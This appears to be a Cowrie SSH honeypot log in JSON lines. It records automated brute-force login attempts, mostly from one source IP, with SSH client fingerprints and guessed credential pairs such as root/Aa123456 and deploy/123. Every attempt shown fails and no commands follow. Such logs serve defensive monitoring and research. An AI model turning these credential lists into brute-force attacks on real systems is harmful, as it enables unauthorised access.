{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33038,"dst_ip":"10.17.0.5","dst_port":22,"session":"936d247125b0","protocol":"ssh","message":"New connection: 192.109.200.78:33038 (10.17.0.5:22) [session: 936d247125b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:40.150936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:40.154817Z","src_ip":"192.109.200.78","session":"936d247125b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:40.236095Z","src_ip":"192.109.200.78","session":"936d247125b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"1qaz2wsx","message":"login attempt [core/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:40.567408Z","src_ip":"192.109.200.78","session":"936d247125b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:41.650772Z","src_ip":"192.109.200.78","session":"936d247125b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33668,"dst_ip":"10.17.0.5","dst_port":22,"session":"78993012c268","protocol":"ssh","message":"New connection: 192.109.200.78:33668 (10.17.0.5:22) [session: 78993012c268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:43.481714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:43.485294Z","src_ip":"192.109.200.78","session":"78993012c268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:43.566025Z","src_ip":"192.109.200.78","session":"78993012c268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:43.811000Z","src_ip":"192.109.200.78","session":"78993012c268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:44.896125Z","src_ip":"192.109.200.78","session":"78993012c268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33674,"dst_ip":"10.17.0.5","dst_port":22,"session":"6432969aa89c","protocol":"ssh","message":"New connection: 192.109.200.78:33674 (10.17.0.5:22) [session: 6432969aa89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:46.694466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:46.698138Z","src_ip":"192.109.200.78","session":"6432969aa89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:46.782746Z","src_ip":"192.109.200.78","session":"6432969aa89c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:47.030730Z","src_ip":"192.109.200.78","session":"6432969aa89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:48.116082Z","src_ip":"192.109.200.78","session":"6432969aa89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33682,"dst_ip":"10.17.0.5","dst_port":22,"session":"012c6a0770d0","protocol":"ssh","message":"New connection: 192.109.200.78:33682 (10.17.0.5:22) [session: 012c6a0770d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:49.917275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:49.921227Z","src_ip":"192.109.200.78","session":"012c6a0770d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:50.002836Z","src_ip":"192.109.200.78","session":"012c6a0770d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:50.405599Z","src_ip":"192.109.200.78","session":"012c6a0770d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:51.490399Z","src_ip":"192.109.200.78","session":"012c6a0770d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53360,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c249221f374","protocol":"ssh","message":"New connection: 192.109.200.78:53360 (10.17.0.5:22) [session: 8c249221f374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:53.305578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:53.315084Z","src_ip":"192.109.200.78","session":"8c249221f374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:53.396128Z","src_ip":"192.109.200.78","session":"8c249221f374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:53.639912Z","src_ip":"192.109.200.78","session":"8c249221f374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:54.724684Z","src_ip":"192.109.200.78","session":"8c249221f374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"e67393783964","protocol":"ssh","message":"New connection: 152.32.171.213:50520 (159.203.135.109:22) [session: e67393783964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:55.781847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:55.786374Z","src_ip":"152.32.171.213","session":"e67393783964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:56.004997Z","src_ip":"152.32.171.213","session":"e67393783964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53374,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a50bf23699","protocol":"ssh","message":"New connection: 192.109.200.78:53374 (10.17.0.5:22) [session: f0a50bf23699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:56.674821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:56.678329Z","src_ip":"192.109.200.78","session":"f0a50bf23699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:56.759269Z","src_ip":"192.109.200.78","session":"f0a50bf23699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"william","password":"william123","message":"login attempt [william/william123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:56.915710Z","src_ip":"152.32.171.213","session":"e67393783964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:57.003742Z","src_ip":"192.109.200.78","session":"f0a50bf23699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:58.086655Z","src_ip":"192.109.200.78","session":"f0a50bf23699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:58.138289Z","src_ip":"152.32.171.213","session":"e67393783964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53384,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce347a086256","protocol":"ssh","message":"New connection: 192.109.200.78:53384 (10.17.0.5:22) [session: ce347a086256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:59.953924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:59.959524Z","src_ip":"192.109.200.78","session":"ce347a086256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:00.041391Z","src_ip":"192.109.200.78","session":"ce347a086256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"p@ssw0rd","message":"login attempt [labuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:00.288616Z","src_ip":"192.109.200.78","session":"ce347a086256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:01.372917Z","src_ip":"192.109.200.78","session":"ce347a086256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46346,"dst_ip":"10.17.0.5","dst_port":22,"session":"bffc42889e2b","protocol":"ssh","message":"New connection: 192.109.200.78:46346 (10.17.0.5:22) [session: bffc42889e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:03.227478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:03.235382Z","src_ip":"192.109.200.78","session":"bffc42889e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rs